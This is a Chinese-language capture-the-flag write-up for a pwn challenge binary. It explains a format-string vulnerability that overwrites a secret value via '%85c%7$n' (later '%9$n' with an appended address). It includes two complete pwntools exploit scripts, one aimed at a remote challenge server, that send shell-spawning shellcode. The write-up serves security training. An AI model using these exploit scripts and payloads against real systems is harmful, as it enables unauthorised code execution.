检查文件类型(file命令),检查安全措施(checksec命令)就不多说了,只有PIE没有开。
首先查看一下main函数,有一个sub_400996函数,这个函数就是负责打印一些信息。然后通过malloc申请了8个字节大小的内存,返回的指针为v3,将v3的值(指针的值为地址)存入v4,实际上v3和v4都指向了刚才申请的那块内存。然后赋值,将前四个字节赋值为68,后四个字节赋值为85。后面通过printf打印了v4和v4+4的值,其实就是68和85的地址。

下面有个sub_400D72(v4)函数,将v4的值(也就是v3指向的地址)传了进去,进入这个函数,首先接收一个字符串,长度不大于12,然后有三个函数,分别进行分析。

首先是sub_400A7D函数,通过上面的字符串提示,可以看到,让我们选择east还是up,但是下面有个while循环,如果你输入的不是east,是无法跳出这个循环的,所以这里我们没得选,只能输入east。

我们返回上一级,继续分析第二个函数,sub_400BB9,首先输入一个 1 ,然后输入一个v2,%ld表示4字节有符号整数,下面的scanf和printf构成了一个格式化字符串漏洞。

这个漏洞怎么利用,还得继续往下分析,我们返回上一级,分析第三个函数sub_400CA6

判断*a1 是否等于a1[1], 其实a1就是v4,*a1的值68,a1[1]的值为85。下面有一个read函数,将输入存放在v1,然后下面有一个通过函数指针进行强制类型转换,将刚才的输入转换成一个函数,最后执行。函数指针的相关介绍可以看一下菜鸟教程。
这样思路就清晰了,通过格式化字符串漏洞将其中一个值改成另一个值,使这个if条件成立,然后传入shellcode就可以了。对于格式化字符串漏洞不了解的可以看一下这篇文章。
先找一下格式化字符串漏洞的偏移,可以看到,在提示我们传入地址的时候,输入了一个1234,他的十六进制是0x4d2,偏移为7。

脚本如下,可以将*a1的值改成85,也可以将a1[1]的值改成68,当然把两个地址的值都改了也是可以的,只要两个值相同就行。还有一点需要注意的是,通过第一个scanf传入地址,里面的格式化字符串是%ld,也就是说解释成有符号的长整型,所以不需要进行打包操作。如果这里格式化字符串是%s,那么我们就需要将地址进行打包操作了。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#conn = process('./str')
conn = remote('220.249.52.133',32702)
conn.recvuntil('secret[0] is ')
secret0 = int(conn.recvuntil('\n')[:-1], 16)
log.success('secret[0] => {}'.format(hex(secret0)))
#conn.recvuntil('secret[1] is ')
#secret1 = int(conn.recvuntil('\n')[:-1], 16)
#log.success('secret[1] => {}'.format(hex(secret1)))
conn.sendlineafter("What should your character's name be:", 'casuall')
conn.sendlineafter('So, where you will go?east or up?:', 'east')
conn.sendlineafter('go into there(1), or leave(0)?:', '1')
# 这里也可以穿入secret1,也就是将v3[1]改成68
conn.sendlineafter("'Give me an address'", str(secret0))
# 如果上面secret1的话,下面的85就需要改成68
payload = '%85c%7$n'
conn.sendlineafter('And, you wish is:', payload)
conn.recvuntil('Wizard: I will help you! USE YOU SPELL\n')
payload = asm(shellcraft.sh())
conn.sendline(payload)
conn.interactive()
但是我尝试不通过第一个scanf输入的地址,直接通过第二个scanf去修改任意地址的值,失败了,不知道原因在哪。
payload = p64(secret0) + '%85c%8$n'.encode() #我的pwntools是python3版本的,所以需要加encode
从理论上讲,我将需要修改的地址写进去,然后更改偏移,也能实现同样的效果,但是没有成功。
后续来了,解决了之前的问题,可能是由于不可见字符都会被省略,会导致后续的操作出问题,将地址写在后面就可以了。
payload = '%85c%9$n'.encode() + p64(secret0)
这样即使没有第一个scanf,我们也能过实现将变量覆盖。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
conn = process('./str')
#conn = remote('220.249.52.133',32702)
conn.recvuntil('secret[0] is ')
secret0 = int(conn.recvuntil('\n')[:-1], 16)
log.success('secret[0] => {}'.format(hex(secret0)))
conn.sendlineafter("What should your character's name be:", 'casuall')
conn.sendlineafter('So, where you will go?east or up?:', 'east')
conn.sendlineafter('go into there(1), or leave(0)?:', '1')
# 和第一个脚本对比,这里不需要传入地址
conn.sendlineafter("'Give me an address'", '1')
# 将地址写在后面,为了避免一些不可见字符对后续造成的影响
payload = '%85c%9$n'.encode() + p64(secret0)
conn.sendlineafter('And, you wish is:', payload)
conn.recvuntil('Wizard: I will help you! USE YOU SPELL\n')
payload = asm(shellcraft.sh())
conn.sendline(payload)
conn.interactive()
本文详细解析了一个存在格式化字符串漏洞的程序,通过具体步骤展示了如何利用此漏洞修改内存中的值,最终达到执行shellcode的目的。文章深入分析了漏洞原理,提供了实际的PoC代码,并探讨了不同输入方式对漏洞利用的影响。
4514





